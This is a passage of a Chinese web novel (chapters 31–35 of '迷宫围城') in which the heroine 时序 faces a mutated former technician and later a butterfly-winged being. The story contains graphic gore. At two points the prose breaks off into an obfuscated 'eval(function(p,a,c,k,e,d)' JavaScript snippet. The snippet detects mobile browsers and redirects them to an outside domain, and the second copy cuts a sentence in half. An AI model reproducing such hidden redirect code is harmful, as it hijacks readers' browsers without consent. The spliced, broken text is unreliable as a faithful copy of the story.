“你从小到大的经历研究中心全都有,你以前的志愿……我记得是要监测中心使用的算法迭代,让其判断更加准确,可你做到了吗?” 时序的问题字字诛心,早川结太捂着胸口,他拼命想要把体内钻出来的圆锯按回去,他人类的身体早就消亡了,现在的模样也不过是他基于记忆模拟出来的。 但这仍然刺痛了他。 他的梦想,他曾经立下的志愿,如今都已切实的化为泡影。 时序的话犹如利剑,将他捅的千疮百孔: “或许你以前还有实现梦想的可能,可惜啊,你的梦想,现在通通成了妄想。” 31. 迷宫围城(十五) 当我认为一个东西可以杀死我的时候,那么它就是能杀死我的。 时序基于这样的逻辑破解了虫的意识阈,但为什么她会这样做。 她以为大概是在意识到真的会死的那个瞬间悟出来的。 所以……早川结太为什么会认为圆锯是能伤害到它的东西? 又是因为什么,还要把能伤害自己的东西【变成】身体的一部分? 难道……圆锯本身就是早川结太内在的某一种具现化,从来就属于他。 对面的早川结太痛苦地哀嚎着,时序像个毫无感情的旁观者,冷静地看着早川结太如同肮脏的泥巴一样,身上的组织器官噗噗嗖嗖掉了一地。 对面的人类距离她不过十米,她看到早川结太头颅间的圆锯疯狂转动,乳白色的膏状从他的鼻孔中流出来,那是他的脑浆。 他吼叫着,他想伸手把让他疼痛的圆锯扯掉,结果锯齿反而切掉他的手指,两三根手指齐根断掉,飞到时序脚下。 眼前的场景是在说不上好看,血肉横飞,像是时序以前看过的血浆片。 “早川结太,”看了许久,她开口问:“你……你头顶上的圆锯,让你这么难过的吗。” 越痛,圆锯嵌合的便越深,深入他的骨髓,神经,通过神经元无数次的在脑内重复,直到深深铭刻进他的意识中,灵魂中。 时序想,她或许猜到那是什么了。 “要不……”她顿了顿,“要不你就别想着把它弄下来了,它从你的脑室中钻出来,也不是为了让你非要让它离开你。” 再说,就算圆锯离开了早川结太,早川结太就不会这样了吗? 答案是否定的。 圆锯代表了早川结太难以实现的梦想,不停转动的锯子反反复复地割伤他,大概只是因为他想的太多了,只要稍微想到关于这部分的记忆,疼痛就止不住。 想儿时天真的许下愿望的自己,想努力学习却只能去二流学校的自己,想距离梦想看似一步之遥,却失之交臂的自己。 难堪到自己都不愿意面对自己。 早川结太巨大的身体下是发烂发臭的内脏组织和血液,他血液里的晶体依稀难见,不再像之前血液几乎凝结成结晶,时序叹口气。 “喂,你都快死了,就没什么要交代的吗?好歹死之前留点线索啊,别哭了……真的有点吵。”时序在一瞬间的共情后很快被对方发出的声音吵得耐心全无,她能理解但受不了对方像个巨婴一样,在极致的压力和恐惧后选择逃避,之后却认为自己这样全都是社会的责任,想要报复社会的巨婴行为。 早川结太挣扎的动作戛然而止,噪音的源头——圆锯终于不转了。 同时头盔里传来钟晴断断续续的报告:她已经把半自律机器人放至指定地点,仪器已于几分钟前成功启动,如果顺利的话,早川结太的意识阈会在2分钟后开始衰减。 还是女同事靠谱,时序听着头盔里传来钟晴冷静中带着几丝放松的声音,抬眼看看高台上两个连异化物都没拦住的废物男人。 人跟人的差距就是这么对比出来的。 哦,还要加上眼前这位【前】男性人类。 巡逻机器人已经被异化物破坏,卓光远行踪消失,不知道是成功跑路还是被异化物吞噬了,她的杀手锏虽然用了出来,但只要装置成功开启,她们大概还是能苟到救援过来。 时序又将目光转回眼前的异化物上。 早川结太这么衰弱的原因可以归纳为:破防破到自我崩解,时序寻思她也没说重话,怎么突然就破防了呢? 那她以后遇到异化物是不是都能这样?一言不合聊死它。 “我的药……是十三区的一个帮派成员给我的……一开始……我……”时序即将走神之际,早川结太突然开始说话。 它暂时恢复到人的形状,只是还在不 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时序听得拧眉,暂且不管对方怎么突然疯狂叭叭叭,这个时候早川结太交代后事般的遗言虽然让人不太舒服,但还在忍受范围内。 仪器在有效地削弱着早川结太的意识阈,他无法长期维持力场,同时语速变得飞快: “我的职场生活过得还算顺利,进入检测中心后,开始有人联系我,突然我拥有了权利,在这样的环境中我迷失了自己。” “药品是我在例行的巡逻中给的,对方代号叫做【安息】,来自于十三区名叫【千面人】的帮派。” 时序记下,转而问:“那你怎么从五区到十三区的?我记得区域间好像是禁止随意通行的吧?难不成是偷渡过来的?” 早川结太嘴角诡异的扬起,黑洞洞的眼眶里和眉间的巨大鸿沟里看不到任何东西,时序浑身一震,突然想起在度假村中看到的右眼。 “那还用说吗,当然是通过隧道过来的。” 32. 迷宫围城(十六) 早川结太胸口处白色的丝状茧以肉眼可见的速度长大,包覆在外层的丝状茧逐渐染成红色,茧丝也渐渐变成透明的膜状质感。 周围掉落着破碎变成粉末的黑红色晶体,时序用手指捻了点,凑近一点。 不像之前沙滩边的雨水里有实质的生物在动,结晶体看上去跟早川结太身上“掉落”的晶体别无二致。 她拍拍掉落到身上的结晶碎片,不得不说早川结太简直不按套路出牌,要么什么都不说,要么倒豆子似的全说。 她点开终端备忘录,正打算记下关键线索时,悬停的手指屈伸,接着收回,这还不够,她还删掉了最近一周的所有浏览记录。 身体的秘密系统可以帮她瞒天过海,终端里要是有什么秘密,说不准哪天就成了她的死穴。 还是谨慎点好。 早川结太一动不动,他身躯佝偻,时序别过眼,她不想看一个赤身裸体的怪物。 高台上的两个没用男人,双双趴在边缘露出个头眼巴巴盯着下面的时序。 从他们的视角来看,就是异化物和时序面对面站着,谁也没动。 “她俩为啥不动?难道意识阈又发动了?”安燃胳膊肘怼黑塞问道。 黑塞嘲讽一笑:“你可是差佬,居然问我这个小混混?丢不丢人?” 安燃无语一瞬无法反驳,他是调查员,调查意识有是有,但不多。 更多的还是数不清的摸不着头脑。 “嘘……她们好像在交谈。”黑塞一脚踢开安燃,安燃身上莫名有股他讨厌的味道。 “暂且不说你的叙述是真是假,”时序伸出手指,“按照你说的,这个千面人为什么会找上你?不就是个程序员吗?” 早川结太扯了下嘴角,嘴边流出血液:“我曾经在环境科工作。” 时序没有立刻回答,而是分析早川结太的每一句话,她对研究中心和监测中心的职能分布很模糊,哪些科室是强势科室她暂时还无法得知,等待入职的那几天,她其实有搜过关于这个世界的基本地理信息,或者管理部门的运作之类的。 可惜知识被封锁的很死,没搜到什么特别有用的,只能在无数个碎片中拼凑出一个不甚清晰的雏形。 时序收回指着早川结太的手,根据早川结太的话可以推测,监测中心的环境科应该是强势科室,哪怕一个小喽啰手中都捏着权利。 “算了,”时序抬头,凝望着尘烟渺渺的天井,弯腰从脚边的垃圾堆中捡起来一个小香炉,“反正你也快死了,先给你上三炷香,等你死了可别来找我哈。” 时序抹去香炉上的灰尘,把它摆到中间的钢筋下方,对着早川结太双手合十拜了拜。 “大不了我给你多烧点冥币,”时序笑眯眯的,好像在为自己终于要结束的工作而高兴。 对方空洞的双眼死死盯着时序,时序知道他在看她,她同样顺着对方的视线看去,越过空洞之后,只是一片黑。 那些曾经拥有过的梦想以及各种各样的情绪,现在通通没有,只剩下了一片无尽的黑。 时序曾经听过一个实验:科学家将人类的神经元细胞进行培养,由精密的科学仪器进行监控,最终发现这一团神经元学会了自己打兵乓球。 什么样的生物才算拥有了灵魂呢? 这团会打乒乓球的神经元算不算? 不算的话,那人类的意识不也是基于数以亿计的神经元所组成的,人为什么拥有了意识,乃至衍生出数不清的复杂情感? 时序看着早川结太,莫名地想到实验中的神经元,在她看来,失去了情感的早川结太就像一团没有知觉的神经元。 而她也突然明白为何会将人类感染异化粒子称之为异化。 人不像人,确实很异常。 她不打算再等了,从后背解下镭射枪,镭射枪还有最后几发,虽然她不用,早川结太现也活不了多久,但难保继承了城寨异化物特性的人会不会再度死灰复燃。 枪口对准早川结太,早川结太一动也不动,只有微微起伏的胸腔和胸口不停蠕动的茧还提醒着所有人: 他还活着。 胸口的茧长成了个巨大的红色瘤子,既难看又恶心,冰冷的枪口对准早川结太的胸口,她往后挪了挪,站到两根钢筋的缝隙间,胳膊挨着钢筋。 “不,等等……先别开枪!”头盔里传来刺耳的通讯,时序下意识闭了下眼睛,边寒惊慌失措的情绪通过头盔里的通讯器传来: “先别开枪,早川结太的情况不对劲,他周围的异化粒子活跃度正极速提高,如果你攻击他,他的身体组织外溢,会导致污染加重,到时你们很难出来。” 时序松开扳机,低声询问:“那怎么处理?我们就这样放着不管吗?至少也要把早川结太带回。” 边寒很谨慎:“科长认为带回早川结太风险太大,我们带了监测中心新开发的第三代平台自爆收束型自律机械装置,自爆时会释放惰性气体,降低异化粒子活跃性的同时还能把最大限度把异化粒子【锁】在废弃设施内。” 时序收回镭射枪,“我觉得可能来不及了,早川结太胸口的肉瘤里好像有什么东西要出来了。” 透明鲜红的膜质下,一具正在孕育的生命隐隐若现,它像人类婴儿般蜷缩着,如果身后没有翅膀,没有昆虫特有的腹部就好了。 按照通常的恐怖片套路,这玩意生出来肯定比早川结太这个拉胯玩意厉害,她把枪又拿到手上,毫不犹豫地扣下扳机,如果这玩意孵化出来了,距离最近的她肯定要先遭殃。 早川结太的脑袋瞬间被镭射枪发出的激光蒸发,时序立马收回枪转身就跑,早川结太仍是站着不动,时序回头看了一眼, 瘤子里的生物变换姿态,伸了个懒腰似的,而后消失,伴随着一阵啃噬血肉的声音,时序不敢再回头,火速踩着楼梯回到高台,两个扒着边缘看的男人还在疑惑时序怎么突然转身就跑,时序一人一脚: “快跑啊两个傻屌,早川结太身体里有个东西,一会就要出来了!” 同时她对着头盔大声喊:“那个什么自爆装置什么时候投放?!早川结太身体里的东西绝对不能放出来!” 下面传来咀嚼骨头的脆响,这下连外面的边寒都听到了。 三人站在防爆车外,眼睁睁看着意识阈的外围已经形成了实质的建筑群,林蓦一脸肃穆,她捏紧身后的刀: “我要进去,不然她们绝对没办法活着出来。” 意识阈实体化,这已经不是5级异化物能办到的了。 她大步流星地走了两步,胳膊被林斐拽住: “现在还不行,边寒,投放自爆装置。” 林蓦声音猛地拔高,“现在投放还有用吗?!自爆装置现在投放也只会被污染,反而会成为不安定因素!” 她挣开林斐的胳膊,就要往里冲—— “暂时——我们暂时还能顶住——” 时序的声音断断续续,梵空从防爆车里钻出来,摇了摇头。 “我不能再继续了。” 梵空对两人比口型,在场的几个人脸色都有点难看,林蓦不知道林斐到底在想什么,是想让下属们死在里面吗? 她怔了怔,突然感觉到林斐的面具多了丝寒意。 林斐手上出了些汗,她趁着林蓦愣神的功夫再次抓住她的胳 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边寒在梵空离开后,略有担心:“科长,林总科长进去了……不要紧么?” “不要紧,”林斐拿出手帕擦手心的汗:“她好歹也是总科长,不需要我这个小小的科长为她担心。” 边寒拧眉,这话说的,怎么她莫名听出一丝咬牙切齿? …… 高台上。 时序她们暂时还没受到波及,她让安燃打开热成像,这样可以确保有生物接近她们的时候立刻发现。 下面时不时传来早川结太的惨叫和咀嚼声,他的身体倚靠本能不停再生,只是再生能力此刻全部化为他即将孵化出的那只异化物的养料,钟晴几分钟前气喘吁吁地跑回来。 她说装置削弱异化粒子的运作逻辑是持续吸收,可装置吸收了大量异化粒子后停止运行,钟晴急坏了,检查半天,最后得出结论: 可能是达到了吸收的阈值。 “这就是个一次性消耗品?!”时序听完不由吐槽。 钟晴听到身形稍微停顿,接着从防护服里掏出一块红色结晶体:“尽管我把它吸收后压缩的晶体取出来,可还是无法启动,可能污染浓度太高被污染了。” 其余两个人看到钟晴艺高人胆大,徒手拿异化结晶,差点跟兔子似的跳起来,安燃纯属一惊一乍,黑塞则有点凑热闹的感觉。 “你的武器还没用呢,难道是打算死在这里都不打算用?”时序示意钟晴把结晶体收起来,一边说。 黑塞摸着步摇上的装饰品,有些犹豫不决。 时序看他动摇,接着说:“我知道你的能力是什么了。” 黑塞吓一跳,“你你你,你胡说!我可从来没讲过!” 时序看他反应,不由笑了下:“你是没说,可你不是一次次用了么。” 短短几秒钟,黑塞脖子都红了,他梗着脖子跟上刑场似的:“我我我我是用了,可——” “可你用的那么多那么杂,一般不会有人看出来的,是吗?”时序看着黑塞睁的大大的眼睛:“从一开始你叠衣服的时候我就注意到了,暂且不讨论打架前叠衣服的行为,单是能把衣服变小收纳起来,就很有意思。” 她边说边瞟了眼下面,见早川结太还在叫,她加快语速:“一开始我以为这是新开发的技术,后来想想不对劲,如果有这种技术最先用上的肯定不是你这种街溜子,包括后来你帮我恢复防护服,不过这也只是一个大致的猜测,不一定对,” 她收回眼神,一字一句都是自信:“我认为,你大概有心想事成的能力。” 33. 迷宫围城(十七) “不用急,现在外部通讯大概率断了,除了我们几个,没人知道。”时序轻描淡写,黑塞单手揣兜,黑发凌乱。 他在最初的惊讶后很快收敛情绪,不同于刚才的凑热闹,变得沉静。 “好吧,其实知道也没什么,我没有特别刻意的去隐瞒,况且在十三区我的能力也不算是秘密。”他跟着看了眼化成一滩血水的异化物,“现在的重点不在我身上,况且我现在的身体状况你也看到了,估计没办法完成你的安排。” 黑塞的裤子下摆撕裂成一条一条的,他没恢复原状,时序抿抿嘴唇,看来他确实余力了。 时序正要开口,眼前风景突变,几人被鲜红色包围,还没来及反应,眼前的景色又恢复正常,只是她们从高台转移到了时序方才所在的垃圾堆旁。 刚还是一摊血泥的异化物,此时此刻再度穿戴整齐地站在她们面前。 异化物的眼眶仍旧是骷髅状的椭圆形黑洞,脑袋中间圆锯消失后的裂隙也还在,不存在瞳孔的眼眶上戴着一副黑框眼镜。 藏蓝色的制服熨烫的一丝不苟,他的头发渐渐生长出来,几秒钟而已,他前刘海厚重的锅盖头死灰复燃。 双手贴在裤缝边,站姿一丝不苟,可是失去了瞳孔,看不出表情。 如果他不是倒吊着那就更好了,时序想。 钟晴这是第一次直观地面对异化物,她跟其他几人不同,她只觉得毛骨悚然,周身流淌着怪异的风声,像哨声一样,以固定的频率响动。 尽管倒吊着,异化物的刘海和衣服的下摆没有跟随重力坠下,仍旧妥帖的如履平地。 没有人说话,风带来的哨声呼啸,卷起垃圾堆里的粉尘。 咀嚼声呢?那只孵化中的异化物呢?怎么都没有了? 【因为——我快死了,它同意让我死前——】 早川结太的声音恢复正常,几人不约而同抬头,早川结太的双腿上有数条白色丝线,仔细看去的话,不光腿部,他的身体都被丝包覆着。 时序突然想起以前看过的昆虫图鉴,蜘蛛就是这样把猎物裹起来吃掉的。 建筑物内的温度逐渐上升,变得闷热。 早川结太话锋一转:“十三区的蝴蝶扇动翅膀,或许会迎来世界的灭亡。” 他的话没头没尾,除了时序没人听得明白。 【主线任务更新:找出早川结太背后的势力。】 时序无言,她度假村的真相还没找到,这就又要找东西了?随即她转念一想,起码这个任务要比上一个简单点,当前她无法查看“核”里存放的记忆,系统总是提醒她权限不够,早川结太曾提到过【千面人】的组织,还有个叫【安息】的人,等她活着出去,她挖地三尺也要把人找出来。 “喂,你有没有觉得越来越热了……”安燃戳时序的胳膊,小声问。 头盔里闷热的都开始出哈气,时序把头盔的磨砂玻璃打开一条小缝,起码得让她看清人,几人也学她给头盔打开缝,事到如今再想那么多也没用,这里异化粒子浓度肯定很高,只要她们出不去,迟早的事。 时序伸手抹掉头盔外部的雾气,面对早川结太她没有太多的恐惧,她也不知道为什么。 “别故弄玄虚了,你也不想没交代完遗言就死掉吧?”时序装作不耐烦。 变成这样肯定是有时间限制的,尽管现在或许是最好的进攻时机,但一时间没有人敢轻举妄动,打死早川结太,可能会引得他体内孵化的异化物提早破壳,像现在这样光耗着,其实也不是办法。 孤立无援啊,时序默默吐出口气。 早川结太像提线木偶僵硬地伸出胳膊,他手上立着一块两面呈尖状的紫红色晶体,时序定睛一看,挑眉。 “这是我的核。”早川结太说。 一只蓝色蝴蝶绕着他的核飞来飞去,时不时发出轻微的叽叽声。 黑塞同样疑惑地喃喃自语:“蝴蝶早就灭绝了……哪里来的蝴蝶?蝴蝶……” 时序瞥了眼她的同伴们,主动往前站了一步,“难道你要把核交给我们吗?” 早川结太喉咙挤压出笑声:“不是你们,是你,时序。” “???” 他怎么知道我的名字? 这是时序瞬间冒出的念头。 “关于你的记忆已经上传到我们的遗传序列中,每个诞生的细胞都会知道你是谁。” “回归母亲的怀抱是理所当然。” 时序打断它:“你不是早川结太,你是谁。” “我——”早川结太将核往前送了送,开口是不属于他的柔和:“我是属于母亲的细胞,母亲的一部分。” 蓝色蝴蝶飞过,落到时序肩上,她挥手赶走蝴蝶。 而落在早川结太之间的蝴蝶,伸出口器吸食着它的核。 “……”时序张嘴,她想反驳,想说早川结太在放狗屁,谁要你这脏细胞,可话到喉咙,她发现自己无法说出口。 同伴在原地一动不动,此刻的时间不是她正在经过的时间。 她是早川结太的母亲? 早川结太嘴里的母亲是她? 他说的,是她占用的130年后的一个叫时序的人, 还是来自130年前的时序? 时序感到眩晕。 她想到一个忽略已久的、不起眼的事情: 度假村的那只异化物,清楚地说出来她是来自ND纪年之前的时序。 我是谁? 我来自哪里? 我是来自过去的时序,还是活在当下的时序? 她开始怀疑起自己是否真实存在过。 一旦陷入思维的漩涡,时序不受控制的颤抖,时间不再静止,熟悉的嘈杂声围绕着她,她看得到每一个时序。 金属掉落到地上的声音让她如梦方醒,她回神,终端上的时间过去十几秒钟,钟晴靠在她身后,异化物举着结晶一动不动。 它无法再动了,它死了。 一颗齿轮掉落,接着是无数颗,从它的眼眶中脱落,在地上堆成一座小山,他的正下方还保留着红色液体,齿轮落地溅起一朵朵红色的花。 而它的后背则伸展出一对漂亮的蓝色翅膀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14114762|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色,红色,跟泛着黄铜色金属光泽的齿轮,上方穿着西装的骷髅倒吊人,紫红色的晶体,溅起的血花含苞待放,瞬间铺满整个垃圾场。 蝴蝶纷飞,鸟语花香,与当下科技先进的背景完全背离。 “我靠,这都什么玩意,真邪门。”安燃索性直接给头盔开天窗,他顺手拨开身边扑棱飞的蝴蝶,“时序,你说我们现在要不要万箭齐发弄死它?” 翅膀还卷曲着,空气中水汽的含量高的不正常,防护服几乎黏在身上。 时序脑袋嗡嗡的,她不确定刚才跟异化物的对话是不是幻觉,而怀疑的种子埋下,她想起来系统给她发布的支线任务就是弄清【时序】是谁。 原来在这等着呢。 她吐出一口气,钟晴指指她的终端:“姐,你的终端从刚才一直在震,要不你看看?说不定是林科长的联络呢。” 时序这才感觉手腕都被震麻了。 她抬起手腕,发现一个陌生号码已经给她打了七八次,她疑惑地想着通讯不是都被切断了,一边按下接听键,一个不小心还把扬声器一并给打开了。 “您好,尊敬的时序女士,我们是金融中心,目前您的学贷已经逾期一小时了,请务必在30分钟内还清。” 时序:…… “呃,不好意思,我现在正在意识阈里执行任务,半小时内无法解决。” 她顶着几人利剑般的目光硬着头皮解释。 “不是,我们研究中心的通讯都被切断了,你们是怎么打进来的?” 对方顿了顿,接着用面带微笑露八颗牙齿的声线说:“我们的通讯线路是不受意识阈影响的,毕竟我们的客户各种职业都有,要照顾客人们的需求呢。” 6,太6了。 “既然您现在不方便的话,我这边为您开通爱心渠道,请在一周内还清贷款,不然女士的博士学历要作废呢。” “我们这边会在挂断后进行计时,为了体贴女士,终端会同步我们的计时器,无法退出哦~” 说完终端挂断,锁屏界面出现还款倒计时。 黑塞拍拍她的肩膀,表情沉重:“哎,我理解这种感受,我的爱车也是贷款买的,如果你手头紧,我给你介绍个打工的地方。” 时序沉默几秒:“什么地方?能立刻结钱吗?” 就算去工地搬砖她也认。 黑塞想了想:“应该……可以吧,反正我就是找老板借钱买的车,她当时也同意了,你也是麻花辫,老板对麻花辫很好的。” 时序面无表情:“我现在没有麻花辫了。” 她把早川结太脑袋打爆了,勉强算给她可怜的麻花辫报仇。 黑塞干笑几声:“哈哈哈……问题不大,问题不大,等咱哥几个从这出去,我请你们吃饭,比那个破能量胶好吃一百倍!顺便引荐你,我看你斧头使的不错,老板指定录用。” 对面的异化物突然扇动翅膀,好似在提示她们不要忘了它。 时序掏出斧头,一脚踢开脚下的花瓣,她要砍死这只大蝴蝶,好好发泄一下心中的压力。 34. 迷宫围城(十八) 鲜红色的扶桑花霎时间铺满整个建筑,红砖上遍布绿色爬山虎,藤蔓生长的速度过快,差点绊倒急速飞驰的林蓦。 林蓦一只手始终握住后腰的刀柄,被绊一下让她放慢步伐直至停下。 对意识阈里感受到的各种情景她习以为常,也许在普通人眼里,霎那间生长到枝繁叶茂的植物是蓬勃生命力的体现,但在她这个专门毁灭意识阈的人看来,这只能象征着浓度极高的异化。 高度的异化往往代表着极稳定,抑或极不稳定。 她更希望是后者。 她蹲下,伸手揪下一朵未开花的扶桑,黑色手套捏着花,她低下头。 仿佛在欢迎她,血红色的花瓣颤颤巍巍地张开,露出花蕊。 她笑笑,花蕊由一个个细小的齿轮构成,随着花瓣在风中摇曳。 看了看比她头还要大的花,她随手扔下,继续在一望无际的花田中奔跑。 …… “……”跟林蓦不同,时序她们现在距离异化中心点很近很近,近到距离还在不断拉近,本以为早川结太就这么死掉的话,说不定他体内孵化的异化物跟着“胎死腹中”。 喃喃的低语自虚空中传来,时序她们无法辨别低语中蕴含的意义,她悄然后退一小步,同时手势示意要安静地撤退。 原本遮盖住天井的齿轮生锈老化,四周不知种类的藤蔓顺着墙壁向上攀爬,几人身处繁花锦簇的红红绿绿中,方才充斥着视觉的铁锈与红砖随之远去。 伴随着暖黄阳光倾泻而下,原本浸没暗处的异化物也照到了阳光,它维持着倒吊状态,捏着核心的胳膊向前屈伸,蓝色的蝴蝶绕着它飞舞,最后密密麻麻停留到它伸着的那根胳膊上。 停留在手指与手掌附近的蝴蝶,抚平翅膀,金属光泽的蓝色翅膀瞬间没入皮肤,转化成一颗抽出枝叶的嫩芽。 几只蝴蝶一一效仿,生长出来的嫩芽围住它的手腕,指尖捏着的核心散发出微弱的紫红色光芒,接着树枝穿透手腕向下聚拢,直至交融。 时序她们不动声色往后退。 只是慢慢退了几步,时序停下脚步,她侧头仰望着不满藤蔓的钢管,和异化物旁边的血污中拔地而起的巨树,眼前的场景,如果让她用一个词来形容的话, 空灵。 钢铁森林随处可见,它用水泥钢筋构筑而成,每当阳光照射到高楼外立面的玻璃时,时序总会不自觉的想: 这是属于谁的? 她伸出手,一只蝴蝶停留,她不禁扬起嘴角。 无论如何,生命都不应该被亵渎。 一只手轻点她的肩膀。 她下意识朝被点的方向看,余光看到钟晴正对她比手势: 【组长我们没法退了。】 【怎么办?还按原计划去平台?】 时序摆手赶走蝴蝶,顿了顿,“对,按原计划到坐标位置,外部会进行重火力打击。” 她抹了把头盔上泛起的些微水汽,以手势比划: 【趁对面没有动作,我们尽……】 手势戛然而止,钟晴迅速收回手,时间仿佛静止,时序竟然透过头盔看到了几个人骤然张大的瞳孔,以及瞳孔里来自她身后的阴影。 她旋身,在这风和日丽的一刻,不属于大自然的“疵啦”声,尽管声音很小,但每个人都听到了。 风吹起,扬起异化物身上的衣角。 蝴蝶们也被声音刺激,不约而同扑簌起飞。 刺啦。 刺啦啦。 扣的整齐的衬衫扣子崩开。 之前那对金属蓝的大翅膀不见了,异化物身体膨胀,制服约束了它的膨胀速度,它的肉始终被困顿在这一身西装制服内。 时序停下动作,眼眨也不眨。 不知道为什么,她有点想伸手摸一摸。 祂察觉到无论如何都挣脱不开西装纽扣,肉缩了回去,转而伸出一双苍白细长的“手指”,拨开白衬衫扣子与扣子的间隙缓慢地伸出来。 祂的手指很软,顶部指甲的位置略微凸出,祂摸索着,一颗一颗解开了西装外套的纽扣。 接着是白色衬衫。 直到衬衫的扣子也被从上到下解开后,祂遇到了难题。 祂解不开领带。 领带凹陷着垂在身体中间,如果这也能被称为身体的话。 早川结太的身体从胸膛开始被粗暴地用锯子锯开,领带让他的身体藕断丝连地没有从中间一分为二,身体的裂隙处,那双手正到处摸摸。 “是触角。”时序突兀开口。 她一开口,其他几人吓出一身白毛汗,纷纷向异化物看去,生怕把那邪门玩意惊醒。 时序生怕吓不死她们,继续开口:“没事,反正祂已经醒了,咱们生死有命,别想那么多。” 钟晴总觉得她下一句就是让所有人在终端上写遗书,不然死了财产直接充公。 然而时序下一句却是:“干就完了,上一次也是昆虫,咱们还是有优势的。” 钟晴不知道该说什么,异化物明显比早川结太还要厉害,早川结太已经是5级了,再加上她们的装备体力都被先前的意识阈消耗不少,时序是怎么能在绝对逆风的情况下,自信满满地说出优势在她的? 一时间她对时序的观感又差了几分。 时序不知道钟晴对她的厌恶,她开始分享经验:“根据我上次的经验,异化物有个弱点,那就是认知。” “啥意思啊?”不出意料安燃提问。 时序叹口气,继续说:“很简单,在祂们认知里能伤害到祂们的东西,就是祂的致命弱点,哪怕这个东西其实对祂无法造成伤害。” “打个比方,比如说祂是一只苍蝇,虽然祂退变为异化物,但基本的思维逻辑还是基于人类时期的,祂知道苍蝇拍和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我也好想吃,滑蛋三明治,生滚粥,还有猪扒饭哦……” 成熟女性的声音。 四人顿时瞳孔地震,什么时候……! “别紧张,聊聊天?好久没见到活人咯。” 女性身着毛衫黑裤,四十来岁,嗓音沙哑,眉眼和蔼,背后一双蝴蝶翅膀。 手中把玩着一张满是刻阴线的面具。 “看你们吃东西聊天,怪让人羡慕的。” 时序还算冷静,主动站出一步,“你是异化物。” 女人呼扇背后翅膀,鳞粉掉落:“不知道,毕竟我死了很多年了,现在是……ND130年……,我死的时候好像是ND……1年还是2年来着?” 好家伙,时序直呼好家伙,死了一百多年的人变成异化物来找她们了。 35. 迷宫围城(十九) 女人手腕翻转,面具消失,再一抬手,几人身边多了一张小桌。 她坐下招呼她们:“坐呀,我死了太久了,比起打架,还是更想跟年轻人聊聊天咯。” 时序几人你看我我看你,时序犹豫的片刻,钟晴主动拉开椅子坐下,她不想总是被时序抢走风头,现在几个人都把时序当主心骨,就连她差点也被带沟里去。 “奶奶,您想聊什么?”钟晴笑着问。 女人摆摆手:“别这么叫,我还没老到这个地步,我姓楚,名江,你们想怎么叫怎么叫,就是别叫我奶奶了,我听的腿都软。” 时序跟着坐下,脚下是绵软的绿草和数不清的扶桑花,顶头是暖黄阳光,她看了看终端,该说不说,托金融中心的福,她的终端上可以显示准确时间。 从进来到此时此刻坐在意识阈里跟异化物聊天,也不过过去一上午而已。 她心里盘算着发动突袭的合适时机,异化物可以读取闯入者的意识,大概她的想法应该被对方知晓,但她并不在意,反正到最后也是你死我活。 “哎,”楚江叹口气,拿起桌上的茶杯给几人倒茶,边说:“成年人的世界不要总是打打杀杀,你是斧头帮的吗?整天就想着拿斧头砍砍砍。” 时序:“。” 她绷着脸,被异化物吐槽只会打打杀杀,有种让她觉得可笑的荒诞感。 钟晴虚情假意的笑意带了几分真挚的情感,她接过杯子,青白色的瓷杯有热水带来的暖意,还有些微清淡茶香。 草地,鲜花,还有茂密的树林,吹着风饮茶,这在十三区是不可能享受到的。 结果却在十三区一座荒废建筑物里的意识阈里体验到了。 楚江给每个人都倒了茶,她的表情平静宁和,完全没有早川结太那样强烈的情绪,意识阈的异化粒子也很稳定,没有表现出超高的活性和污染性。 背后的蝴蝶翅膀呈现半透明状,要不仔细看,很容易忽略。 “在我们那个时候,越是重要的事,越是要坐下来谈,还要吃吃喝喝的谈。”楚江抿了口茶水,喟叹:“年轻人注重实干是好事,可也不能没有脑子只有冲劲,这样是办不成大事的。” 时序快绷不住了,一个被社会折磨过的中年社畜,变成异化物都是官腔官调死气沉沉。 一时也不知道是社会可怕一点,还是异化可怕。 “请问您是……跟这座城寨有什么关联?”时序放弃了斧头,打算先套取一些情报,对方看起来可以交流,打架还是放到沟通失败之后吧。 “这就对了,”楚江放下茶杯,双手交叠放到腿上,“我是这座城寨的建造者,当初也是我大力推进填海计划,可惜……” 时序锁眉,根据她得到的情报,十三区的海岸线十分绵长,填海的大部分区域正是如今的垃圾填埋场,在她的认知中,造山填海都是由国家进行主导,而这个人又是在ND纪年的头几年死去的,那么楚江跟她一样,都是ND纪年前的人。 想到这,她更想不通了,按照度假村异化物所说,她来自130年前,那不就代表她穿越过来的那天,世界就进入了所谓的ND纪年了吗? 难以想象什么样的灾难可以让世界一夕之间更换纪年方式。 时序思索着,身边的钟晴比她更震惊,她在意识阈里经历的,难道…… “如果您推动了填海计划,那为什么后来都停工,转变为填埋场了?!”钟晴猛地拔高声音,对她而言,她真实地经历了希望从无到有,直至最后成为灰烬的过程。 话音刚落她立马意识到自己的表现不合时宜,她情绪过于外露了,她清清嗓子,再次开口:“原来我在意识阈里……的那些不是早川结太的,而是你的。” 钟晴隐隐感觉自己好像被卷入了旋涡,当她问出这句话后,她或许再也无法置之不理。 楚江仰头,凝望着远处的巨树,风吹过略起她脸颊边垂落的发丝,黑中带白。 过了许久,她才开口:“是啊……这里是我一生的心血,我们都盼望着能过上好的生活,正因如此,来自天南海北的人才能在这里相聚……” 她自嘲道:“也在这里带着希望死去。” 不远处的蝴蝶飞起几只,绕着楚江叽叽叽的,楚江笑笑,伸手让蝴蝶们停留:“好啦,我就伤感一下,没有难过啦。” “哎呀,我就说你们太操心,怎么变成这样都改不了。” “我会说的啦,别催哈。” 她口音带着南方人特有的尾音,时序有点怀念,她的同事们讲话各个是字正腔圆的普通话,哪怕地铁上碰到的街溜子都没什么口音。 等等…… 她嗖的坐直:普通话统治世界了??? 